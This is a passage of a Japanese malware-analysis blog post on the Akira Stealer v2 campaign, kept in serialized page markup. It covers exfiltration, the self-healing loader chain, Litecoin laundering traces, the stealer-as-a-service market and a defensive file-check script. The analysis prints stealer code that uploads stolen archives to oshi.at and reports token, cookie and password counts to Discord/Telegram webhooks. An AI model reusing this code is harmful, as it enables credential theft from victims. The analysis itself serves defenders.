r.json().get('link','')\n",[1707,10399,10400],{"class":1709,"line":5100},[1707,10401,10378],{},[1707,10403,10404],{"class":1709,"line":5106},[1707,10405,10406],{},"    # Oshi.at\n",[1707,10408,10409],{"class":1709,"line":5112},[1707,10410,5161],{},[1707,10412,10413],{"class":1709,"line":5118},[1707,10414,10415],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1707,10417,10418],{"class":1709,"line":5124},[1707,10419,10420],{},"        return text.split('DL: ')[1].strip()\n",[1707,10422,10423],{"class":1709,"line":5130},[1707,10424,10378],{},[1707,10426,10427],{"class":1709,"line":5796},[1707,10428,10429],{},"    return ''\n",[889,10431,10433],{"id":10432},"_7155-webhookのアラート攻撃者による取得解析者の可視性の限界","7.15.5 Webhookのアラート、攻撃者による取得、解析者の可視性の限界",[526,10435,895],{},[526,10437,10438],{},"ZIPアーカイブをアップロードした後、Akiraは（通常はDiscordまたはTelegramに）Webhook通知を送ります。窃取したトークンの数、Cookieの数、ファイルサイズ、クリック可能なダウンロードリンクといった詳細情報を含む構造化されたエンベッドを伴います。これにより攻撃者は即座にフィードバックと取得手段を得ます。信頼性を確保するため、アーカイブのリンクだけを含むプレーンテキストのフォールバックメッセージも送られます。この冗長性は、エンベッドがプラットフォームにブロックされたりフィルターされたりしても配信を保証します。防御側から見ると、送信方向のネットワーク監視が整っていない限り、こうした通信はしばしば見えません。",[526,10440,10441],{},[567,10442,10443],{},"エンベッド通知",[616,10445,10447],{"className":4512,"code":10446,"language":4514,"meta":530,"style":530},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[578,10448,10449,10454,10459,10464,10469,10474,10479,10484,10489,10493,10498,10503,10508,10512],{"__ignoreMap":530},[1707,10450,10451],{"class":1709,"line":1710},[1707,10452,10453],{},"# Build embed with key metadata\n",[1707,10455,10456],{"class":1709,"line":531},[1707,10457,10458],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1707,10460,10461],{"class":1709,"line":2090},[1707,10462,10463],{},"fields = [\n",[1707,10465,10466],{"class":1709,"line":2096},[1707,10467,10468],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1707,10470,10471],{"class":1709,"line":2419},[1707,10472,10473],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1707,10475,10476],{"class":1709,"line":2425},[1707,10477,10478],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1707,10480,10481],{"class":1709,"line":3077},[1707,10482,10483],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1707,10485,10486],{"class":1709,"line":3872},[1707,10487,10488],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1707,10490,10491],{"class":1709,"line":3878},[1707,10492,7939],{},[1707,10494,10495],{"class":1709,"line":4125},[1707,10496,10497],{},"payload = {\n",[1707,10499,10500],{"class":1709,"line":5046},[1707,10501,10502],{},"    'username':'Akira 💊',\n",[1707,10504,10505],{"class":1709,"line":5052},[1707,10506,10507],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1707,10509,10510],{"class":1709,"line":5058},[1707,10511,2428],{},[1707,10513,10514],{"class":1709,"line":5064},[1707,10515,10516],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[631,10518,10519,10525],{},[634,10520,10521,10524],{},[567,10522,10523],{},"配信",": 攻撃者のDiscord／Telegramチャネルに送られます。",[634,10526,10527,10530,10531,10534],{},[567,10528,10529],{},"エンベッドのリンク",": GoFile（またはフォールバックのホスト）上のZIPを指す、クリック可能な ",[578,10532,10533],{},"download_url"," を含みます。",[526,10536,10537],{},[567,10538,10539],{},"生リンクのフォールバック",[616,10541,10543],{"className":4512,"code":10542,"language":4514,"meta":530,"style":530},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[578,10544,10545,10550,10555],{"__ignoreMap":530},[1707,10546,10547],{"class":1709,"line":1710},[1707,10548,10549],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1707,10551,10552],{"class":1709,"line":531},[1707,10553,10554],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1707,10556,10557],{"class":1709,"line":2090},[1707,10558,10559],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[631,10561,10562],{},[634,10563,10564,10567],{},[567,10565,10566],{},"プレーンテキスト",": エンベッドがブロックされたり静かに破棄されたりした場合に備えて、リンクの配信を保証します。",[526,10569,10570],{},[567,10571,10572],{},"攻撃者がリンクを取得する方法",[526,10574,10575,10578],{},[567,10576,10577],{},"1. Webhookインフラ","\n攻撃者は、Webhookのエンドポイントをマルウェアの設定に埋め込みます。",[616,10580,10582],{"className":4512,"code":10581,"language":4514,"meta":530,"style":530},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[578,10583,10584,10589],{"__ignoreMap":530},[1707,10585,10586],{"class":1709,"line":1710},[1707,10587,10588],{},"# at class initialization\n",[1707,10590,10591],{"class":1709,"line":531},[1707,10592,10593],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[631,10595,10596,10603],{},[634,10597,10598,1002,10600],{},[567,10599,1346],{},[578,10601,10602],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[634,10604,10605,1002,10608],{},[567,10606,10607],{},"Telegram",[578,10609,10610],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[526,10612,10613,10616],{},[567,10614,10615],{},"2. リアルタイムの配信","\nファイルのアップロードに成功した直後、マルウェアは次を実行します。",[616,10618,10620],{"className":4512,"code":10619,"language":4514,"meta":530,"style":530},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[578,10621,10622,10626,10631,10636,10641,10646,10651,10656,10661,10665,10670],{"__ignoreMap":530},[1707,10623,10624],{"class":1709,"line":1710},[1707,10625,10497],{},[1707,10627,10628],{"class":1709,"line":531},[1707,10629,10630],{},"  'username': 'Akira 💊',\n",[1707,10632,10633],{"class":1709,"line":2090},[1707,10634,10635],{},"  'embeds': [{\n",[1707,10637,10638],{"class":1709,"line":2096},[1707,10639,10640],{},"      'title': '🗄️ Exfiltration Complete',\n",[1707,10642,10643],{"class":1709,"line":2419},[1707,10644,10645],{},"      'fields': [\n",[1707,10647,10648],{"class":1709,"line":2425},[1707,10649,10650],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1707,10652,10653],{"class":1709,"line":3077},[1707,10654,10655],{},"      ]\n",[1707,10657,10658],{"class":1709,"line":3872},[1707,10659,10660],{},"  }]\n",[1707,10662,10663],{"class":1709,"line":3878},[1707,10664,2428],{},[1707,10666,10667],{"class":1709,"line":4125},[1707,10668,10669],{},"# Transmit the archive URL entirely in the JSON body\n",[1707,10671,10672],{"class":1709,"line":5046},[1707,10673,10674],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[631,10676,10677,10686],{},[634,10678,10679,10681,10682,10685],{},[578,10680,10533],{}," 変数がエンベッドの ",[578,10683,10684],{},"fields.value"," に埋め込まれます。",[634,10687,10688,10689,10691,10692,10695],{},"Telegramのフォールバックでは、",[578,10690,10533],{}," がプレーンテキストの ",[578,10693,10694],{},"message"," パラメーターに現れます。",[526,10697,10698],{},[567,10699,10700],{},"3. EDRとフォレンジックの可視性の限界",[631,10702,10703,10712],{},[634,10704,10705,10708,10709,10711],{},[567,10706,10707],{},"ローカルへのログなし",": マルウェアは ",[578,10710,10533],{}," をディスクやシステムログに書き込みません。",[634,10713,10714,10717],{},[567,10715,10716],{},"EDRの死角",": Microsoft Defender for EndpointのようなツールはHTTPリクエストの試み自体を検出できても、埋め込まれたURLを取り出すことはできません。",[526,10719,10720],{},[567,10721,10722],{},"4. なぜ解析者はこれをローカルで復元できないのか:",[631,10724,10725,10736,10757],{},[634,10726,10727,10708,10730,10732,10733,2115],{},[567,10728,10729],{},"リンクのローカルコピーなし",[578,10731,10533],{}," をメモリ上にのみ書き、ネットワーク越しに送信します。このURLをディスクやログに保存 ",[4649,10734,10735],{},"しません",[634,10737,10738,10741,10742,10744,10749,10750,10752,10753,10756],{},[567,10739,10740],{},"一時ステージングのクリーンアップ",": アップロードの直後、コードは次を実行します。",[724,10743],{},[1707,10745,10748],{"className":10746},[10747],"text-monospace","shutil.rmtree(ROOT)",",",[724,10751],{},"\nこれにより、ステージングされたすべての成果物（一時的なテキストファイルを含む）が ",[578,10754,10755],{},"%TEMP%"," から消去されます。",[634,10758,10759,10762,10763,10766],{},[567,10760,10761],{},"ネットワークのみの送信",": Webhook呼び出し（",[578,10764,10765],{},"requests.post","）はメモリ上で行われ、被害者のマシンにHTTPログやブラウザー履歴のエントリは作られません。",[848,10768,10769],{},[526,10770,10771,10774,10775,10777,10778,2115],{},[567,10772,10773],{},"解析者への含意:","\n実行時にライブのパケットキャプチャ（ネットワークTAPやプロキシなど）がなければ、正確な ",[578,10776,10533],{}," は感染後には復元できません。\nさらに、窃取されたアーカイブはホスティングサービスから自動削除されるため、フォレンジックによる取得の余地はいっそう狭まります。\nローカルに成果物が一切残らないため、感染後のイメージングやホストベースのフォレンジック復元でも、攻撃者のURLやファイルホストの認証情報が明らかになることは ",[4649,10779,10780],{},"ありません",[854,10782],{"className":10783},[857,858],[741,10785,10787],{"id":10786},"_713-結論","7.13 結論",[526,10789,747],{},[526,10791,10792,10794],{},[578,10793,613],{},"（Akira Stealer v2）は、包括的で商業的に配布されるスティーラーのツールキットです。広範な標的設定、洗練されたアンチ解析、動的なインフラ制御、そして認証情報、暗号通貨、システムプロファイリング、ユーザーファイルにまたがるフルスタックのデータ窃取を組み合わせています。そのモジュール性とステルス性は、迅速な再感染の手法と相まって、実際に配備されているものの中で最も技術的に高度なスティーラーの1つにしています。",[557,10796,10798],{"id":10797},"_8-循環型実行チェーン-自己修復ループ","8. 循環型実行チェーン: 自己修復ループ",[526,10800,562],{},[526,10802,10803,10804,10807],{},"このキャンペーンの技術的に最も洗練された要素の1つが、再生型で循環的な実行モデルです。ドロッパーからペイロードへと流れ、その後消えていく線形の段階を持つ従来のマルウェアと異なり、この作戦は ",[567,10805,10806],{},"閉じたループ"," のように設計されており、各コンポーネントが互いを見張っています。",[526,10809,10810,10811,10814],{},"この ",[567,10812,10813],{},"自己修復アーキテクチャ"," は、感染チェーンを永続的にするだけでなく、自律的なものにしました。部分的な駆除から完全に回復できたのです。1つの部品でも生き残っている限り、マルウェアのエコシステム全体が自らを再構築できました。",[741,10816,10818],{"id":10817},"_81-振る舞いの分解","8.1 振る舞いの分解",[526,10820,747],{},[2104,10822,10823,10849,10862,10891,10908],{},[634,10824,10825,10830,10832,10833,10836,10837,10839,10840,10842,10843,10845,10846,10848],{},[567,10826,10827,10828,2039],{},"永続化の錨（",[578,10829,602],{},[578,10831,602],{}," は土台となる足がかりとして機能します。通常は ",[578,10834,10835],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"," のようなWindowsのユーザースタートアップの場所にドロップされるか、",[578,10838,1679],{}," 経由で登録されます。その役目は単純ながら重要です。",[578,10841,606],{}," が存在することを確かめ、ユーザーのログオン時にそれを静かに起動することです。",[578,10844,606],{}," が欠けている場合は、アーカイブ ",[578,10847,1846],{},"（一時フォルダーにあるか、新たにドロップされる）を再展開し、Electronアプリの完全な構造を再生成します。",[634,10850,10851,10856,10858,10859,10861],{},[567,10852,10853,10854,2039],{},"橋渡しのローダー（",[578,10855,606],{},[578,10857,606],{}," は、ElectronでラップされたNode.jsアプリケーションです。GUIを一切表示せず、完全にバックグラウンドで動作します。実行されると、Node.jsをランタイム環境として使い、",[578,10860,1076],{}," 内に埋め込まれたJavaScriptロジックを実行します。この抽象化の層は、中核ロジックをPEスタブから切り離し、従来の解析を回避する助けになります。",[634,10863,10864,10869,10871,10872],{},[567,10865,10866,10867,2039],{},"実行のオーケストレーター（",[578,10868,2827],{},[578,10870,1076],{}," 内に埋め込まれたこれが、感染チェーンの真の制御役です。主な機能は次のとおりです。",[631,10873,10874,10879,10882],{},[634,10875,10876,10878],{},[578,10877,602],{}," の存在を確認し、欠けていれば再配備する",[634,10880,10881],{},"ランタイムの設定を動的に注入する。Webhook URL、C2アドレス、トークンなど",[634,10883,10884,10885,10887,10888,10890],{},"すでに存在するPythonペイロード（",[578,10886,613],{},"）を呼び出すか、攻撃者が管理するインフラからZIPバンドル（",[578,10889,2891],{}," など）としてダウンロードする",[634,10892,10893,10898,10899,1566,10901,10903,10904,10907],{},[567,10894,10895,10896,2039],{},"ペイロードの実行（",[578,10897,613],{},"\n起動されると、",[578,10900,613],{},[578,10902,580],{}," を介してメモリ上で実行されます。保存された認証情報、Cookie、Discordトークン、ブラウザーのセッションデータ、暗号通貨ウォレットの拡張機能を体系的に収集します。データはZIPアーカイブにまとめられ、HTTPS経由で窃取されます。多くはDiscord Webhookですが、",[578,10905,10906],{},"gofile.io"," のようなフォールバックAPIやカスタムのC2エンドポイントも観測されています。",[634,10909,10910,10913,10914,10916,10917,10919,10920,1294,10922,10924,10925,10927],{},[567,10911,10912],{},"ループの完全性と自己修復","\n設計は循環的です。",[578,10915,602],{}," が削除されれば再配備されます。",[578,10918,606],{}," が欠ければ、",[578,10921,602],{},[578,10923,1846],{}," から再展開します。",[578,10926,613],{}," が削除されれば、JavaScriptの層が再取得します。この相互依存により、マルウェアは耐性を持ち、生き残ったほぼどの断片からでも実行チェーンを再構築できます。",[526,10929,10930,10931,10934],{},"このアーキテクチャは単にモジュール式なだけではありません。",[567,10932,10933],{},"自立的"," であり、標的環境におけるステルス性、柔軟性、長期的な生存性のために意図的に設計されています。",[741,10936,10938],{"id":10937},"_82-これが注目に値する理由","8.2 これが注目に値する理由",[526,10940,747],{},[526,10942,10943,10944,10947],{},"このキャンペーンのアーキテクチャ設計は、市販の情報窃取ツールでは通常見られない水準の洗練を反映しています。単純な多段階ローダーの域を超えています。これは ",[567,10945,10946],{},"運用上の耐性、ステルス性、自動化"," のために設計されたマルウェアです。",[526,10949,10950],{},[567,10951,10952],{},"主な特徴",[631,10954,10955,10961,10998,11018],{},[634,10956,10957,10960],{},[567,10958,10959],{},"完全な自律性","\nいったん配備されると、マルウェアはユーザーの操作や外部からの再起動を必要としません。悪意あるマイクロサービスのように振る舞い、外部の制御なしに自らの永続化、ペイロードの実行、修復のルーチンを統括します。",[634,10962,10963,10966,10967],{},[567,10964,10965],{},"多言語の実行スタック","\nこのツールチェーンは次を統合しています。",[631,10968,10969,10978,10984,10990],{},[634,10970,10971,6262,10974,647,10976,2039],{},[567,10972,10973],{},"PEバイナリ",[578,10975,602],{},[578,10977,606],{},[634,10979,10980,10983],{},[567,10981,10982],{},"Node.js / JavaScript","（Electron経由）",[634,10985,10986,10989],{},[567,10987,10988],{},"PowerShell","（難読化されたペイロードの中継に使用）",[634,10991,10992,6262,10995,10997],{},[567,10993,10994],{},"Python",[578,10996,613],{},"。メモリ常駐型スティーラーとして実行）\nこの層状の構成は、従来の静的ツールを使ったプロファイリング、フィンガープリンティング、解析を難しくします。",[634,10999,11000,11003,11004],{},[567,11001,11002],{},"設計による防御回避","\nすべてのコンポーネントがエンコード、暗号化、あるいは動的に注入されます。",[631,11005,11006,11009,11012,11015],{},[634,11007,11008],{},"Base64のPowerShell中継",[634,11010,11011],{},"AES暗号化・GZIP圧縮されたPythonコア",[634,11013,11014],{},"ランタイムでのトークン注入を伴う難読化されたJavaScript",[634,11016,11017],{},"部分的な駆除を妨げる自己修復の振る舞い",[634,11019,11020,11023,11024,11027,11028,11030,11031,11033],{},[567,11021,11022],{},"単一障害点の不在","\nマルウェアの自己修復ロジックにより、",[567,11025,11026],{},"単一のコンポーネントの削除では不十分"," になります。",[578,11029,602],{}," が削除されれば、情報窃取ツールがそれを再作成します。",[578,11032,613],{}," が削除されれば、JavaScriptの制御役が再ダウンロードして再配備します。",[526,11035,11036,11037,11040],{},"要するに、このマルウェアは典型的なペイロードというより ",[567,11038,11039],{},"分散システム"," のように振る舞います。生存性、モジュール性、ステルス性を優先するものです。",[526,11042,11043,11044,11047],{},"これにより脅威は、日和見的な攻撃から ",[567,11045,11046],{},"耐性を備えた適応型のプラットフォーム"," へと格上げされ、防御側には同等に多層的な検出・対応の戦略でその複雑さに対抗することが求められます。",[741,11049,11051],{"id":11050},"_83-ブルーチームへの含意","8.3 ブルーチームへの含意",[526,11053,747],{},[526,11055,11056],{},"防御側とCSOCの運用者にとって、この種のアーキテクチャはハードルを引き上げます。",[631,11058,11059,11065,11081],{},[634,11060,11061,11064],{},[567,11062,11063],{},"部分的なクリーンアップは効果がありません","。すべてのノードを特定し、同時に削除しなければなりません。",[634,11066,11067,11070,11071,11073,11074,11073,11076,11073,11078,11080],{},[567,11068,11069],{},"Defender for Endpointによる相関分析"," が不可欠です。解析者は完全なチェーンを追う必要があります。",[578,11072,602],{}," → ",[578,11075,1130],{},[578,11077,1227],{},[578,11079,580],{}," という流れです。",[634,11082,11083,11086],{},[567,11084,11085],{},"IOCを残さない永続化"," は、メモリベースのヒューリスティック、テレメトリのベースライン化、チェーンベースの検出が鍵になることを意味します。",[526,11088,11089,11090,11093],{},"これは単なるスティーラーではありません。",[567,11091,11092],{},"耐性を備えたマルウェアプラットフォーム"," であり、単純な脅威というより分散システムのように振る舞います。そしてそれこそが、これを見事であると同時に危険なものにしているのです。",[557,11095,11097],{"id":11096},"_9-ブロックチェーンの追跡と分析","9. ブロックチェーンの追跡と分析",[526,11099,562],{},[741,11101,11103],{"id":11102},"_91-litecoinベースのマルウェアキャンペーンにおける資金の流れの追跡","9.1 Litecoinベースのマルウェアキャンペーンにおける資金の流れの追跡",[526,11105,747],{},[526,11107,11108,11109,11112],{},"このマルウェアキャンペーンのリバースエンジニアリングの段階で、スティーラーが暗号通貨の窃取に使っていた複数のハードコードされたウォレットアドレスを抽出しました。これらのLitecoinウォレットのオンチェーンの活動を追うことで、意図的なマネーロンダリングの手口を示すパターンを明らかにできました。攻撃者が管理するウォレット ",[578,11110,11111],{},"LW6EopiZ..."," は、中心的な集約点として機能しています。複数の被害者から窃取された資金がこのアドレスに流し込まれ、その後すみやかに複数の新しいアドレスへ再分配されます。",[526,11114,11115],{},"ここで見られる振る舞いは、暗号通貨のタンブリングやミキシングの操作で使われる古典的な分割送金パターンの典型です。いずれの場合も、入ってきた残高の全額がおおよそ比例した2つの送出取引に分けられ、それぞれ異なるウォレットに送られます。この戦略は、資金の出所を分かりにくくすることで、アドレスのクラスタリングとチェーンの追跡を妨げるよう設計されています。自動化されたブロックチェーン分析や脅威インテリジェンスのプラットフォームによる検出を回避する、効果的な手口です。",[526,11117,11118],{},"このロンダリングの振る舞いは、取引のタイミング、精密な金額の分割、アドレス再利用の最小化を組み合わせ、GraphSense、Chainalysis、TRM Labsなどで使われるようなクラスタリングアルゴリズムが一般に適用するヒューリスティックを迂回します。全体の狙いは、高エントロピーの取引フローを作り出すことで帰属分析を混乱させ、連結可能性を断つことにあります。特に、資金が最終的に他の資産へブリッジされたり、プライバシー重視のコインへ交換されたりする場合に効果を発揮します。",[526,11120,11121],{},"以下の例では、この振る舞いの構造化された一部分を示します。入金取引は、それぞれ別の被害者からの送金を表します。これらの値はその後、送出フローに過不足なく対応づけられ、コインが速く、予測可能で、アルゴリズム的に分割された支払いを通じて「洗浄」される様子を示しています。",[1420,11123,4701,11127],{"className":11124,"style":11126},[11125],"font-size-1","width:100%; border-collapse: collapse;",[1436,11128,11129,4701,11152,4701,11185,4701,11213,4701,11242],{},[1426,11130,4706,11131,4706,11135,4706,11139,4706,11142,4706,11146,4706,11149,4701],{},[1429,11132,11134],{"style":11133},"text-align: left; width: 14%;","入力元",[1429,11136,11138],{"style":11137},"text-align: left; width: 12%;","入力日",[1429,11140,11141],{"style":11133},"入金額 (LTC)",[1429,11143,11145],{"style":11144},"text-align: left; width: 20%;","→ 攻撃者ウォレット",[1429,11147,11148],{"style":6318},"出力アドレス",[1429,11150,11151],{},"出金額合計 (LTC)",[1426,11153,4706,11154,4706,11157,4706,11160,4706,11163,4706,11170,4706,11183,4701],{},[1441,11155,11156],{},"Input_1",[1441,11158,11159],{},"2024-09-21",[1441,11161,11162],{},"0.25339198",[1441,11164,11165,11166,4706],{},"\n      ",[1707,11167,11169],{"title":11168},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1441,11171,11172,11173,11176,11177,11172,11179,11182],{},"\n      - ",[578,11174,11175],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[724,11178],{},[578,11180,11181],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1441,11184,11162],{},[1426,11186,4706,11187,4706,11190,4706,11193,4706,11196,4706,11200,4706,11211,4701],{},[1441,11188,11189],{},"Input_2",[1441,11191,11192],{},"2024-04-16",[1441,11194,11195],{},"1.09976044",[1441,11197,11165,11198,4706],{},[1707,11199,11169],{"title":11168},[1441,11201,11172,11202,11205,11206,11172,11208,11210],{},[578,11203,11204],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[724,11207],{},[578,11209,11204],{}," (0.25671380, 2024-06-13)\n    ",[1441,11212,11195],{},[1426,11214,4706,11215,4706,11218,4706,11221,4706,11224,4706,11228,4706,11240,4701],{},[1441,11216,11217],{},"Input_3",[1441,11219,11220],{},"2024-03-06",[1441,11222,11223],{},"0.77089346",[1441,11225,11165,11226,4706],{},[1707,11227,11169],{"title":11168},[1441,11229,11172,11230,11233,11234,11172,11236,11239],{},[578,11231,11232],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[724,11235],{},[578,11237,11238],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1441,11241,11223],{},[1426,11243,4706,11244,4706,11247,4706,11249,4706,11251,4706,11255,4706,11265,4701],{},[1441,11245,11246],{},"Input_4",[1441,11248,11220],{},[1441,11250,11223],{},[1441,11252,11165,11253,4706],{},[1707,11254,11169],{"title":11168},[1441,11256,11172,11257,11233,11260,11172,11262,11239],{},[578,11258,11259],{},"LUFLTrqYpix...",[724,11261],{},[578,11263,11264],{},"La22dfH9eM...",[1441,11266,11223],{},[854,11268],{"className":11269},[857,858],[557,11271,11273],{"id":11272},"_10-akiraエコシステムの内側-商業化されたサイバー犯罪インフラ","10. Akiraエコシステムの内側 – 商業化されたサイバー犯罪インフラ",[526,11275,562],{},[526,11277,11278],{},"Akiraは単なるスティーラーではありません。サイバー犯罪を簡素化し、規模を拡大し、収益化するために設計された、活況を呈する地下エコシステムの中核です。",[741,11280,11282],{"id":11281},"_101-脅威アクターのためのプラグアンドプレイのエコシステム","10.1 脅威アクターのためのプラグアンドプレイのエコシステム",[526,11284,747],{},[526,11286,11287],{},"Akiraのエコシステムは、サイバー犯罪が専門化しサービス主導の経済へと進化した様子を体現しています。次を含みます。",[631,11289,11290,11300,11306,11312,11318],{},[634,11291,11292,11293,6262,11296,11299],{},"オンデマンドのペイロード生成のための ",[567,11294,11295],{},"ビルダーボット",[578,11297,11298],{},"@AkiraRedBot"," など）",[634,11301,11302,11303],{},"アップデート、機能要望、カスタマーサポートのための ",[567,11304,11305],{},"Telegramチャネル",[634,11307,11308,11311],{},[567,11309,11310],{},"自動化されたライセンス管理と決済処理","。多くはダイレクトメッセージやSellixのような匿名のeコマースプラットフォーム経由",[634,11313,11314,11315],{},"クリップボードの乗っ取り、Discordトークンのロガー、ブラウザーデータのスティーラー、さらにはランサムウェアのアドオンといった ",[567,11316,11317],{},"バンドルされたモジュール",[634,11319,11320,11321],{},"トグル、Webhookの入力、アイコンのブランディングを可能にする設定インターフェイスを備えた ",[567,11322,11323],{},"カスタマイズ可能なペイロード",[526,11325,11326],{},[775,11327],{"alt":11328,"src":11329},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[741,11331,11333],{"id":11332},"_102-サイバー犯罪の商業化","10.2 サイバー犯罪の商業化",[526,11335,747],{},[526,11337,11338],{},"Akiraの構造は、「Malware-as-a-Service」（MaaS）へと向かうより大きな潮流を反映しています。そこでは次のようになっています。",[631,11340,11341,11347,11353,11359],{},[634,11342,11343,11344],{},"攻撃を仕掛けるのに ",[567,11345,11346],{},"深い技術的スキルが不要",[634,11348,11349,11352],{},[567,11350,11351],{},"低い参入コスト","（3か月75ドル、永年150ドル）",[634,11354,11355,11356],{},"Telegramを通じた ",[567,11357,11358],{},"即時のサポートとドキュメント",[634,11360,11361,11364],{},[567,11362,11363],{},"コミュニティの貢献"," が、スクリプトや機能提案でAkiraを日常的に拡張",[526,11366,11367],{},"このエコシステムは、正規のSaaSビジネスモデルを映し出しています。変更履歴、UXの改善、価格帯、アップセルまで備えています。",[526,11369,11370],{},[775,11371],{"alt":11372,"src":11373},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[741,11375,11377],{"id":11376},"_103-スティーラーの先へ-エコシステムのコンポーネント","10.3 スティーラーの先へ – エコシステムのコンポーネント",[526,11379,747],{},[526,11381,11382,11383,11385],{},"多くの攻撃の心臓部は ",[578,11384,613],{}," ですが、エコシステムは完全なチェーンを提供します。",[631,11387,11388,11391,11394,11397,11400],{},[634,11389,11390],{},"PyInstallerのラッパーのような難読化ツール",[634,11392,11393],{},"悪意あるペイロードを無害なソフトウェアと結合するためのファイルバインダー",[634,11395,11396],{},"コンパイラー、クリプター、ランタイムでの多形化",[634,11398,11399],{},"ペイロードの配信と窃取のためのホスティングミラー（GoFile、AnonFilesなど）",[634,11401,11402],{},"窃取した認証情報やハードウェアプロファイルを要約するデータ管理ボット",[526,11404,11405],{},[775,11406],{"alt":11407,"src":11408},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[557,11410,11412],{"id":11411},"_11-akira-stealer-quickcheck-影響を受けたファイル","11. Akira Stealer QuickCheck 影響を受けたファイル",[526,11414,562],{},[741,11416,11418],{"id":11417},"_111-これは何のためのものか","11.1 これは何のためのものか",[526,11420,747],{},[526,11422,11423,11424,647,11427,647,11430,647,11433,11436],{},"Akira Stealerの感染が疑われた後は、自社のシステム上のどのファイルが窃取の危険にさらされていたかをただちに把握することが不可欠です。上で概説したQuickCheck PowerShellスクリプトは、Akiraの検索ロジックをそのまま再現します。ユーザーの ",[567,11425,11426],{},"デスクトップ",[567,11428,11429],{},"ドキュメント",[567,11431,11432],{},"ダウンロード",[567,11434,11435],{},"OneDrive"," の各フォルダーを走査し、次に該当するファイルを探します。",[631,11438,11439,11455,11458],{},[634,11440,11441,11442,647,11445,647,11448,647,11451,11454],{},"ファイル名に ",[578,11443,11444],{},"password",[578,11446,11447],{},"wallet",[578,11449,11450],{},"backup",[578,11452,11453],{},"token"," といった機微なキーワードを含む",[634,11456,11457],{},"よく標的にされる特定の拡張子（.txt、.docx、.pdf、.jpgなど）を持つ",[634,11459,11460],{},"マルウェアが課す2 MBのサイズ上限以下である",[526,11462,11463,11464,11467],{},"QuickCheckはAkira Stealerの内部ロジックに基づく迅速な概観を提供しますが、",[567,11465,11466],{},"包括的なフォレンジックツールやプロフェッショナルなインシデント対応の代わりにはなりません","。侵害が確認された場合は、必ずより深い分析を続けてください。",[526,11469,11470,11471,647,11474,647,11477,647,11480,11483],{},"その後、",[567,11472,11473],{},"ファイル名",[567,11475,11476],{},"相対パス",[567,11478,11479],{},"サイズ (KB)",[567,11481,11482],{},"トリガーとなったキーワード"," を並べ替えた表を提示します。",[848,11485,11486],{},[526,11487,11488,11491,11492,11495,11496,11499,11500,11503],{},[567,11489,11490],{},"免責事項","\nこのツールは、完全性や特定目的への適合性についていかなる保証もなく ",[567,11493,11494],{},"「現状のまま」"," 提供されます。",[567,11497,11498],{},"すべての"," 潜在的に機微なファイルの検出を保証するものでは ",[567,11501,11502],{},"なく","、完全なマルウェアフォレンジックに取って代わるものでもありません。利用は自己責任でお願いします。",[854,11505],{"className":11506},[857],[741,11508,11509],{"id":11509},"法的通知",[526,11511,747],{},[526,11513,11514,11515,11518,11519,2115],{},"このQuickCheckユーティリティは、",[567,11516,11517],{},"防御的なセキュリティ"," 評価のみを目的としています。自ら所有していないシステムに対する許可のないスキャンや使用は、プライバシー、著作権、コンピューター不正使用に関する法律に違反する可能性があります。glueckkanja AGは、その使用に起因する誤用や損害について ",[567,11520,11521],{},"一切の責任を負いません",[741,11523,11525],{"id":11524},"powershellスクリプト","PowerShellスクリプト",[526,11527,747],{},[616,11529,11531],{"className":1701,"code":11530,"language":1703,"meta":530,"style":530},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially 